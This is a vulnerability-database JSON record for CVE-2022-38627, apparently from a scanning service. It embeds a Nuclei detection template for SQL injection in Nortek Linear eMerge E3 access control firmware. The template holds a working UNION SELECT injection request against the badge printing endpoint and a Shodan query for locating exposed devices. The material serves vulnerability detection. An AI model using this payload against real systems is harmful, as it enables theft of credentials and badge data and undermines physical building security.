{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-38627/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-38627/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-38627/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-38627/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-38627/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-38627"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-38627"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-38627.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-38627\n\ninfo:\n  name: Nortek Linear eMerge E3-Series - SQL Injection\n  author: daffainfo,omarhashem666\n  severity: critical\n  description: |\n    Nortek Linear eMerge E3-Series 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e were discovered to contain a SQL injection vulnerability via the idt parameter.\n  impact: |\n    Unauthenticated attackers can exploit SQL injection in the idt parameter to extract sensitive access control data including badge information, user credentials, and building security configurations from the eMerge access control system.\n  remediation: |\n    Update Nortek Linear eMerge E3-Series firmware to a patched version that uses parameterized queries and properly sanitizes the idt parameter.\n  reference:\n    - https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627\n    - https://omar0x01.medium.com/15cebd072ed6\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-38627\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-38627\n    epss-score: 0.04305\n    epss-percentile: 0.90719\n    cwe-id: CWE-89\n    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: nortekcontrol\n    product: emerge_e3_firmware\n    shodan-query:\n      - http.title:\"Linear eMerge\"\n  tags: cve,cve2022,emerge,nortek,linear,sqli,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/badging/badge_template_print.php?tpl=aa.xml&idt=1337%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,%27{{randstr}}%27||%27CVE%27||(7*7*7*7)||SWVersion,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%20version'\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '{{randstr}}CVE24010\\.[0-9]+-[0-9]+[a-z]+'\n\n      - type: word\n        part: body\n        words:\n          - \"Print Badge\"\n          - \"btnPrint\"\n        condition: and\n# digest: 490a004630440220391045dba03ac92f38f02adc10d9ee3e48240eb670d54d16deffcf4e63007fb702204d4358e97b2b93a899648731d1083ff863b5e59771eb64b68bb8e43bad213bb1:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-38627"
}